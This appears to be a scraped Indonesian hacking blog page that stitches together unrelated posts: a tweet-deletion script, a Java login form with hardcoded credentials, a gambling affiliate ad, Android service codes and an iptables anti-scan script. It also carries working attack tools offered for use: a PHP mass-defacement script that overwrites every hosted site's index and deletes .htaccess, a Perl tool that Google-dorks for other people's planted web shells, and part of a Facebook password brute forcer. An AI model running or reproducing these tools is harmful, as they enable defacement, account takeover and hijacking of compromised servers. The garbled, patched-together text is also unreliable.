#!/usr/local/bin/perl
use strict;
use warnings;
use Net::Twitter;
use Net::Twitter::Error;
use Scalar::Util 'blessed';
$|++;
#Mass Tweet deletion
my %nt_settings =
(
consumer_key => '',
consumer_secret => '',
access_token => '',
access_token_secret => '',
traits => [qw/OAuth API::REST RetryOnError InflateObjects/],
max_retries => 3,
ssl => 1,
decode_html_entities => 1,
);
my $nt = Net::Twitter->new(%nt_settings);
while(1)
{
my $statuses = eval
{
$nt->user_timeline
({
screen_name => '',
include_rts => 'true',
include_entities => 'true',
count => 200,
})
};
if ( my $err = $@ )
{
if(blessed $@ && $err->isa('Net::Twitter::Error'))
{
warn "HTTP Response Code: ", $err->code, "\n",
"HTTP Message......: ", $err->message, "\n",
"Twitter error.....: ", $err->error, "\n";
}
else
{
die $@;
}
}
my @ids = ();
for my $status ( @$statuses )
{
push(@ids, $status->id);
}
foreach my $id(@ids)
{
print "$id\n";
my $statuses = eval {$nt->destroy_status({id => $id})};
if ( my $err = $@ )
{
if(blessed $@ && $err->isa('Net::Twitter::Error'))
{
warn "HTTP Response Code: ", $err->code, "\n",
"HTTP Message......: ", $err->message, "\n",
"Twitter error.....: ", $err->error, "\n";
}
else
{
die $@;
}
}
}
print "Continuing...\n";
}
01 January 2013
Mass Tweet Delet
[Java] Sample login button action
try {
String sql="Select * from Users1";
String host ="jdbc:derby://localhost:1527/Nash";
String uName = "CON";
String uPass = "smokes";
Connection con = DriverManager.getConnection(host, uName, uPass);
Statement stmt=con.createStatement();
ResultSet rs = stmt.executeQuery(sql);
String user= userName.getText();
String pwd= password.getText();
while(rs.next()) {
String uname=rs.getString("User_name");
String pass=rs.getString("Password");
String admin1=rs.getString("admin");
if ((user.equals(uname)) && (pwd.equals(pass)))
{
if ((admin1.equals("y")))
{
mainPanel.setVisible(true);
blankContent.setVisible(true);
adminButton.setEnabled(true);
receiptContent.setVisible(false);
memberContent.setVisible(false);
securityPanel.setVisible(false);
}
else
{
mainPanel.setVisible(true);
blankContent.setVisible(true);
adminButton.setEnabled(false);
receiptContent.setVisible(false);
memberContent.setVisible(false);
securityPanel.setVisible(false);
}
}
else
{
JOptionPane.showMessageDialog(null, "User name and password do"
+ " not match!","ALERT!", JOptionPane.ERROR_MESSAGE);
}
} } catch (SQLException ex) {
Logger.getLogger(program.class.getName()).log(Level.SEVERE, null, ex);
}
10 November 2012
Simple how to earn money from affiliate
How to earn $0.05 for every day just share a link affiliate
this is the way,
just click on the link Cent Play
INTRODUCTION
Promotion Program which designed to help you play games when balance go zero, you can get $0.01 every minute to continue to play.
PROMOTION RULES
• Get $0.01 every minute, up to $0.05 every day.
• You account will be make lower priority if you make an withdraw request.
• You must stay on promotion page for 1 minute and wait until money come to your balance
THIS IS THE RULES
1. DEPOSIT WITHOUT CREATING ACCOUNT
No need to creating account, never mind about account securities problem, no need to login, no need to remember your account information.
2. PLAYING GAMES WITHOUT DOWNLOADING
Instantly play our games without downloading anything, no need flash player, you can even play games in your mobile. Easy to play, easy to win.
3. WITHDRAW WITHOUT REQUESTING
You can request withdraw anytime you want or without requesting. Our system send payment to your account automatically after 90 minutes of inactivity.
Join know => http://www.centplay.com/affiliate/promotion_6570/
Update Payment Proof
PO 1 In this morning
PO 2 same Day
Baca Selengkapnya...
Simple how to earn money from affiliate
this is the way,
just click on the link Cent Play
INTRODUCTION
Promotion Program which designed to help you play games when balance go zero, you can get $0.01 every minute to continue to play.
PROMOTION RULES
• Get $0.01 every minute, up to $0.05 every day.
• You account will be make lower priority if you make an withdraw request.
• You must stay on promotion page for 1 minute and wait until money come to your balance
THIS IS THE RULES
1. DEPOSIT WITHOUT CREATING ACCOUNT
No need to creating account, never mind about account securities problem, no need to login, no need to remember your account information.
2. PLAYING GAMES WITHOUT DOWNLOADING
Instantly play our games without downloading anything, no need flash player, you can even play games in your mobile. Easy to play, easy to win.
3. WITHDRAW WITHOUT REQUESTING
You can request withdraw anytime you want or without requesting. Our system send payment to your account automatically after 90 minutes of inactivity.
Join know => http://www.centplay.com/affiliate/promotion_6570/
Update Payment Proof
PO 2 same Day
09 November 2012
Android Secret Codes
*#*#7780#*#* - This code is used for factory restore setting.This will remove google account setting and System and application data and settings. *2767*3855# - This code is used for factory format, and will remove all files and settings including the internal memory storage. It will also reinstall the firmware. *#*#4636#*#* - This code show information about your phone and battery. *#*#273283*255*663282*#*#* - This code opens a File copy screen where you can backup your media files e.g. Images, Sound, Video and Voice memo. *#*#197328640#*#* - This code can be used to enter into Service mode. You can run various tests and change settings in the service mode. *#*#7594#*#* - This code enable your "End call / Power" button into direct poweroff button without asking for selecting any option(silent mode, aeroplane and poweroff). *#*#8255#*#* - This code can be used to launch GTalk Service Monitor. *#*#34971539#*#* - This code is used to get camera information.Plz avoid update camera firmware option.WLAN, GPS and Bluetooth Test Codes:
*#*#232339#*#* OR *#*#526#*#* OR *#*#528#*#* - WLAN test (Use “Menu” button to start various tests). *#*#232338#*#* - Shows WiFi MAC address. *#*#1472365#*#* - GPS test. *#*#1575#*#* - Another GPS test. *#*#232331#*#* - Bluetooth test. *#*#232337#*# - Shows Bluetooth device address.Codes to launch various Factory Tests:
*#*#0842#*#* - Device test (Vibration test and BackLight test) *#*#0588#*#* - Proximity sensor test *#*#0*#*#* - LCD test *#*#2664#*#* - Touch screen test *#*#2663#*#* - Touch screen version *#*#0283#*#* - Packet Loopback *#*#0673#*#* OR *#*#0289#*#* - Melody test *#*#3264#*#* - RAM versionCode for firmware version information.
*#*#1111#*#* - FTA SW Version *#*#2222#*#* - FTA HW Version *#*#44336#*#* - PDA, Phone, CSC, Build Time, Changelist number *#*#4986*2650468#*#* - PDA, Phone, H/W, RFCallDate *#*#1234#*#* - PDA and Phone
Underc0der
!init
#config scanner= 3
#config weapon= 3
#config armor= 4
#config engine= 0
#config heatsinks= 2
#def wpc
#def ang
#def turn ;how much to turn
#def rh ;relative heading
#def ts ;target speed
#def o ;pos/neg offset flag
#def off ;firing offset
out 11, 100 ;full throttle.
out 22, 8 ;lay mine, trigger 8.
out 17, 64 ;128 degree scan arc.
mov DX, 64
mov AX, 1
mov turn, 7
int 3 ;keepshift on.
out 22, 8 ;lay mine, trigger 8.
jmp !steer
!path
cmp @9, 250 ;Have we travelled 250 metres?
jgr !steer ;if yes, steer.
out 14, turn ;turn
int 12 ;collisions?
cmp FX, 0
jgr !crash ;if yes, respond to crash.
jmp !scan
!crash
int 13 ;reset collision count.
!steer
int 19 ;clear meters count.
jmp !checkpos ;steer.
!scan
out 11, 100
in 7, BX ;scan
cmp BX, 1500 ;anyone in sight?
jge !nonefound ;adjust scan arc to suit.
jls !arcmodf ;modify arc & fire.
!nonefound
cmp DX, 64 ;Are we at maximum scan width already?
je !flip ;if yes, flip turret.
shl DX, 1 ;else, double DX and
out 17, DX ;set new scans to DX width.
jmp !path ;path
!flip
out 12, 125 ;turn turret 125 degrees.
jmp !path ;path
!arcmodf
cmp DX, 2 ;is scan angle 2 degrees?
jle !fire ;if yes, fire. Else:
shr DX, 1 ;halve DX
out 17, DX ;set scans to DX.
cmp @3, 0 ;is enemy in centre?
jgr !accright ;if right, respond
jls !accleft ;if left, respond.
shr DX, 1
out 17, DX ;quarter scan arc
jmp !fast ;check if target is fast
!accright
out 12, DX ;turn radar right by scanarc.
cmp @3, 2 ;is it out by +2?
jls !fast ;if less, fast
out 12, DX ;turn radar right by 200% scanarc.
jmp !fast ;check if target is fast
!accleft
mov BX, DX ;set BX=scanarc
neg BX ;and negate BX
out 12, BX ;turn radar left by scanarc.
cmp @3, -2 ;is it out by -2?
jgr !fast ;if more, fast.
out 12, BX ;turn radar left by 200% scanarc.
jmp !fast ;check if target is fast
!fast
cmp @13, 768 ;is enemy moving very fast?
jgr !fire ;if yes, fire
jmp !scan ;else, scan.
!fire
out 12, @3 ;correct turret.
in 2, BX ;check heat.
cmp BX, 200 ;too hot?
jgr !lock ;if yes, lock. Else:
cmp @7, 0 ;Is target stationary?
je !statfire ;if yes, fire at stationary target. Else:
mov ts, @13 ;target speed
mov rh, @6 ;relative heading
cmp ts, 0
jge !ps
neg ts
add rh, 128
and rh, 255
!ps
shr ts, 6
shl ts, 7
shr rh, 1
mov off, 1028
add off, ts
add off, rh
err off
jmp !fireadj
!statfire
mov AX, 1 ;
int 4 ;Overburn= on.
out 15, 0 ;fire
out 15, 0 ;fire
out 15, 0 ;fire
out 15, 0 ;fire
mov AX, 0 ;
int 4 ;Overburn = off.
jmp !lock ;lock.
!lock
out 14, turn ;turn
in 7, BX ;scan
out 12, @3 ;adjust turret
jmp !scan ;and scan.
!checkpos
mov wpc, 0
int 2 ;get x and y co-ordinates.
cmp ex, 500
jls !wwall ;west side
jge !ewall ;east side
!wwall
cmp fx, 500
jle !wwalln ;northwest
jgr !wwalls ;southwest
!wwalln
cmp ex, fx ;closer to west or north wall?
jle !wnq ;closer to west
jgr !nwq ;closer to north
!wwalls
sub fx, 1000
neg fx ;distance rather than co-ord.
cmp ex, fx ;closer to west or south wall?
jle !wsq ;closer to west
jgr !swq ;closer to south
!ewall
cmp fx, 500
jle !ewalln ;northeast
jgr !ewalls ;southeast
!ewalln
sub ex, 1000
neg ex ;distance rather than co-ord.
cmp ex, fx ;closer to east or north wall?
jle !enq ;closer to east
jgr !neq ;closer to north
!ewalls
cmp ex, fx ;closer to east or south wall?
jge !esq ;closer to east
jls !seq ;closer to south
!wnq
mov ang, 112 ;desired heading
sub ang, @1 ;difference
out 14, ang ;turn to desired heading
neg turn
jmp !scan
!nwq
mov ang, 80 ;desired heading
sub ang, @1 ;difference
out 14, ang ;turn to desired heading
neg turn
jmp !scan
!wsq
mov ang, 16 ;desired heading
sub ang, @1 ;difference
out 14, ang ;turn to desired heading
neg turn
jmp !scan
!swq
mov ang, 48 ;desired heading
sub ang, @1 ;difference
out 14, ang ;turn to desired heading
neg turn
jmp !scan
!enq
mov ang, 144 ;desired heading
sub ang, @1 ;difference
out 14, ang ;turn to desired heading
neg turn
jmp !scan
!neq
mov ang, 176 ;desired heading
sub ang, @1 ;difference
out 14, ang ;turn to desired heading
neg turn
jmp !scan
!esq
mov ang, 240 ;desired heading
sub ang, @1 ;difference
out 14, ang ;turn to desired heading
neg turn
jmp !scan
!seq
mov ang, 208 ;desired heading
sub ang, @1 ;difference
out 14, ang ;turn to desired heading
neg turn
jmp !scan
!fireadj ;adjusted firing routine.
out 12, [off]
out 15, 0 ;fire w/ new angle.
out 15, 0 ;fire w/ new angle.
cmp @13, 500 ;enemy speed?
jgr !lock ;
out 15, 0 ;fire w/ new angle.
out 15, 0
jmp !lock
[JAVA] SQL Tools Auto Injector
Full source C0de => View
Baca Selengkapnya...
[JAVA] SQL Tools Auto Injector
Block NMAP Scan on Your Server
This is a simple bash shell to block NMAP Scan to your server
Baca Selengkapnya...
Block NMAP Scan on Your Server
#!/bin/bash # To run this file, first give the permission +x and execute this program # --# chmod +x blocknmap.sh # --# ./blocknmap.sh echo "1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1" echo "3 3" echo "3 ________ .__ ________ 3" echo "7 \______ \ |__| ______/ __ \ ____ ____ _____ 7" echo "1 | | \ | | / ___/\____ / _/ ___\ / _ \ / \ 1" echo "3 | \| | \___ \ / / \ \___ ( <_> )| Y Y \ 3" echo "3 /_______ /|__|/____ > /____/ /\ \___ > \____/ |__|_| / 3" echo "7 \/ \/ \/ \/ \/ 7" echo "1 1" echo "3 >> The Underground Exploitation Team 3" echo "3 3" echo "7 7" echo "1 [+] Site : http://www.Dis9.com 1" echo "3 3" echo "3 3" echo "7 ############################################### 7" echo "1 I'm Liyan Oz Leader of Underground Exploitation 1" echo "3 ############################################### 3" echo "3 3" echo "7-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-7" echo "========================================================================" echo "= Block Nmap Scanning using iptables =" echo "= C0ded by Liyan Oz =" echo "= http://0nto.wordpress.com =" echo "========================================================================" echo "" echo "" #===================== # Enable IP Forward #--------------------- echo 1 > /proc/sys/net/ipv4/ip_forward #===================== # Flush semua rules #--------------------- /sbin/iptables -F /sbin/iptables -t nat -F #===================== # Block #--------------------- /sbin/iptables -t filter -A INPUT -p TCP -m state --state RELATED,ESTABLISHED -j ACCEPT /sbin/iptables -t filter -A INPUT -p UDP -m state --state RELATED,ESTABLISHED -j ACCEPT /sbin/iptables -t filter -A INPUT -p ICMP -m state --state RELATED,ESTABLISHED -j ACCEPT /sbin/iptables -t filter -A INPUT -m state --state INVALID -j DROP /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN: " /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ACK,FIN FIN -j DROP /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ACK,PSH PSH -j LOG --log-prefix "PSH: " /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ACK,PSH PSH -j DROP /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ACK,URG URG -j LOG --log-prefix "URG: " /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ACK,URG URG -j DROP /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ALL ALL -j LOG --log-prefix "XMAS scan: " /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ALL ALL -j DROP /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ALL NONE -j LOG --log-prefix "NULL scan: " /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ALL NONE -j DROP /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j LOG --log-prefix "pscan: " /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j LOG --log-prefix "pscan 2: " /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags FIN,RST FIN,RST -j LOG --log-prefix "pscan 2: " /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags FIN,RST FIN,RST -j DROP /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ALL SYN,FIN -j LOG --log-prefix "SYNFIN-SCAN: " /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ALL SYN,FIN -j DROP /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ALL URG,PSH,FIN -j LOG --log-prefix "NMAP-XMAS-SCAN: " /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ALL URG,PSH,FIN -j DROP /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ALL FIN -j LOG --log-prefix "FIN-SCAN: " /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ALL FIN -j DROP /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ALL URG,PSH,SYN,FIN -j LOG --log-prefix "NMAP-ID: " /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags ALL URG,PSH,SYN,FIN -j DROP /sbin/iptables -t filter -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j LOG --log-prefix "SYN-RST: "
08 November 2012
Mass defaces root user
|
# Email : oy3@hotmail.com |
#--------------------------------------------------/
\n");
if(!$argv[1]){
print_r("
-------------------------------------\
USAGE : php mass_sa.php [Your index] |
Ex : php mass_sa.php index.htm |
-------------------------------------/
");
die();
}
$d00m = @file("/etc/named.conf");
if(!$d00m)
{
die (" can't read /etc/named.conf");
}
else
{
$f =@fopen ('shack.txt','w');
foreach($d00m as $dom){
if(eregi("zone",$dom)){
preg_match_all('#zone "(.*)"#', $dom, $domsws);
if(strlen(trim($domsws[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
$site = $user['name'] ;
$file = $argv[1];
$file2 = @file("$file");
$dom3n = $domsws[1][0];
if (empty($file2))
{
print_r("file $file not here !
" );
exit;
}
else {
$copy = @copy("$file","/home/".$user['name']."/public_html/$file");
if ($copy)
{
@system("rm /home/".$user['name']."/public_html/.htaccess");
print_r("$dom3n <-- done \n \n");
@fwrite($f,"$dom3n \n" );
}else
{
print_r("$dom3n <-- error ! \n \n");
}
}
}
}
}
}
print_r("
\n\n
#--------------------------------------------------\
# sites hacked in a shack.txt ^_* |
# al-swisre _ oy3@hotmail.com |
#--------------------------------------------------/
\n");
?>
BackDoor Finder
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
usage() unless $ARGV[2];
my @searchTerm;
my @checkTerm;
if(lc($ARGV[0]) eq "r57") {
push(@searchTerm, "inurl:r57.php");
push(@searchTerm, "\"[ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]\"");
push(@searchTerm, "intitle:r57shell");
push(@checkTerm, "r57");
push(@checkTerm, "safe_mode");
} elsif(lc($ARGV[0]) eq "c99") {
push(@searchTerm, "inurl:c99.php");
push(@searchTerm, "\"Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout\"");
push(@searchTerm, "intitle:\" - phpshell\"");
push(@searchTerm, "intitle:\" - c99shell\"");
push(@checkTerm, "c99");
push(@checkTerm, "Safe-mode");
} elsif(lc($ARGV[0]) eq "mys") {
push(@searchTerm, "\"Auto error traping enabled\"");
push(@searchTerm, "intitle:\"MyShell 1.1.0 build 20010923\"");
push(@checkTerm, "MyShell");
push(@checkTerm, "Echo commands");
} elsif(lc($ARGV[0]) eq "phs") {
push(@searchTerm, "intitle:\"PHP Shell 1.5\"");
push(@searchTerm, "intitle:\"PHP Shell 1.6\"");
push(@searchTerm, "intitle:\"PHP Shell 1.7\"");
push(@searchTerm, "\"Enable stderr-trapping?\"");
push(@checkTerm, "PHP Shell");
push(@checkTerm, "Choose new working");
} elsif(lc($ARGV[0]) eq "phm") {
push(@searchTerm, "\"PHPShell by Macker\"");
push(@searchTerm, "\"[ Main Menu ] [ PHPKonsole ] [ Haxplorer ]\"");
push(@checkTerm, "Haxplorer");
push(@checkTerm, "PHPKonsole");
} elsif(lc($ARGV[0]) eq "rem") {
push(@searchTerm, "intitle:\"phpRemoteView: \"");
push(@searchTerm, "\"REMVIEW TOOLS\"");
push(@checkTerm, "phpRemoteView");
push(@checkTerm, "perms");
}
if(!@searchTerm) {
print "Error: [shell to find] is a unknown shell\n" and die;
}
my $outputOn;
if(lc($ARGV[1]) eq "on") {
$outputOn = 1;
} elsif(lc($ARGV[1]) eq "off") {
$outputOn = 0;
} else {
print "Error: [screen output] must be \"on\" or \"off\"\n" and die;
}
my $outputFile;
if(index(lc($ARGV[2]), ".htm") > 0) {
$outputFile = $ARGV[2];
} else {
print "Error: [output HTML file] must be *.htm or *.html\n" and die;
}
open(FILEHANDLE, ">$outputFile");
print FILEHANDLE "PHP Shell's \n";
close FILEHANDLE;
my $userAgent = LWP::UserAgent->new;
$userAgent->agent("User-Agent=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5");
my @resultLinks;
foreach(@searchTerm) {
print "[*] Query for \"$_\"\n" if($outputOn == 1);
my $isLastPage = 0;
for(my $gPage = 0; ; $gPage++) {
if($isLastPage == 1) { last; }
my $gRequest = HTTP::Request->new(GET => "http://www.google.de/search?q=$_&start=$gPage"."0");
my $gResource = $userAgent->request($gRequest);
if($gResource->is_success) {
my @gContent = split("", $gResource->content);
if(@gContent < 10) { $isLastPage = 1; };
for(my $gPiece = 1; $gPiece < @gContent; $gPiece++) {
my $shellLink = substr($gContent[$gPiece], index($gContent[$gPiece], "href=\"") + 6);
$shellLink = substr($shellLink, 0, index($shellLink, "\""));
print "[*] Check status of site \"$shellLink\"\n" if($outputOn == 1);
my $sRequest = HTTP::Request->new(GET => $shellLink);
my $sResource = $userAgent->request($sRequest);
if($sResource->is_success) {
if(index($sResource->content, $checkTerm[0]) != -1 && index($sResource->content, $checkTerm[1]) != -1) {
open(FILEHANDLE, ">>$outputFile");
print FILEHANDLE "Link: $shellLink
\n";
print FILEHANDLE "Search Term: $_
\n";
close FILEHANDLE;
print "[+] Found shell: $shellLink\n" if($outputOn == 1);
} else {
print "[-] No shell\n" if($outputOn == 1);
}
} else {
print "[-] Offline\n" if($outputOn == 1);
}
}
sleep 20; #wait 20 seconds so google dont think we are a bot
} else {
print "Unable to query google\n" and die;
}
}
}
open(FILEHANDLE, ">>$outputFile");
print FILEHANDLE "
Find PHP Shells via Google - by DiA/RRLF ";
close FILEHANDLE;
sub usage {
print qq(
Find PHP Shells via Google - by DiA/RRLF (http://www.vx-dia.de.vu)
Usage: perl $0 [shell to find] [screen output] [output HTML file]
[shell to find] can be:
r57 - find r57shell
c99 - find c99shell
mys - find MyShell
phs - find PHP Shell
phm - find PHPShell (Macker)
rem - find phpRemoteView
[screen output] can be:
on - every step the script doas get printed on the screen
off - no output, the script just writes to the output file
[output HTML file] must be:
*.htm or *.html
Example: perl $0 c99 on c99shells.htm
perl $0 mys off manyshells.htm
) and exit;
}
Baca Selengkapnya...
BackDoor Finder
FaceBook BruteForce
",$source)){return true;} else {return false;}
}
if(!is_file($dictionary)){echo "$dictionary is not file";exit;}
$lines=file($dictionary);
echo "Attack Starting..
";
sleep(10);
echo "Attack Started, brute forcing..
";
foreach($lines as $line){
$line=str_replace("\r","",$line);
$line=str_replace("\n","",$line);
if(kontrol($username,$line)){echo "[+] username:$username , password:$line - P
assword found : $line
";$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;}
else{echo "[-] username:$username , password:$line - Password not found :
$line
";}
}
?>
Entri Populer
-
situs yang interaktif dengan pengunjung yang banyak terdapat "database" didalamnya ada "INFORMATION_SCHEMA" yang menang...
-
Full Source c0de => View
-
Memory atau RAM Memory biasanya disebut sebagai RAM, singkatan dari Random Access Memory. Memory berfungsi sebagai tempat penyimpanan da... -
Havij adalah salah satu dari sekian banyak tools yang biasa digunakan para LAMERS termasuk SAYA SENDIRI untuk melakukan aksi SQL Injection. ...
